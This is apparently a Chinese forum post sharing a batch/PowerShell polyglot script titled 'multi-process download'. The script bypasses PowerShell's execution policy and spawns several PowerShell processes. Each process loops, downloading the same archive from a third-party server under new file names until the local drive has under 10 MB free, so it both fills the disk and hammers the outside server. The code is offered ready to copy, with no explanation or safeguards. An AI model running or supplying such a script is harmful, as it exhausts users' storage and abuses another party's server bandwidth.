本帖最后由 ivor 于 2019-4-21 19:34 编辑
多个进程下载- <# :
- @echo off
- rem 增强代码兼容性,代码保存为 ".bat"、".cmd"、".ps1"均可执行
- more +7 "%~f0" >"%~dpn0.ps1"
- powershell -ExecutionPolicy bypass -File "%~dpn0.ps1"
- del "%~dpn0.ps1" & pause & exit /b
- #>
- if((Get-Process -Name powershell -ErrorAction SilentlyContinue).Count -lt 4 ){Start-Process "powershell" -ArgumentList $MyInvocation.MyCommand.Definition}
- while((Get-PSDrive (Split-Path $MyInvocation.MyCommand.Definition -Qualifier).Trim(':')).Free -gt 10mb){
- if(-not (Resolve-Path (($i++).ToString() + ".rar") -ErrorAction SilentlyContinue)){curl https://dl.99.com/fdsfdssfdds.rar -OutFile ($i.ToString() + ".rar")}
- }
复制代码
|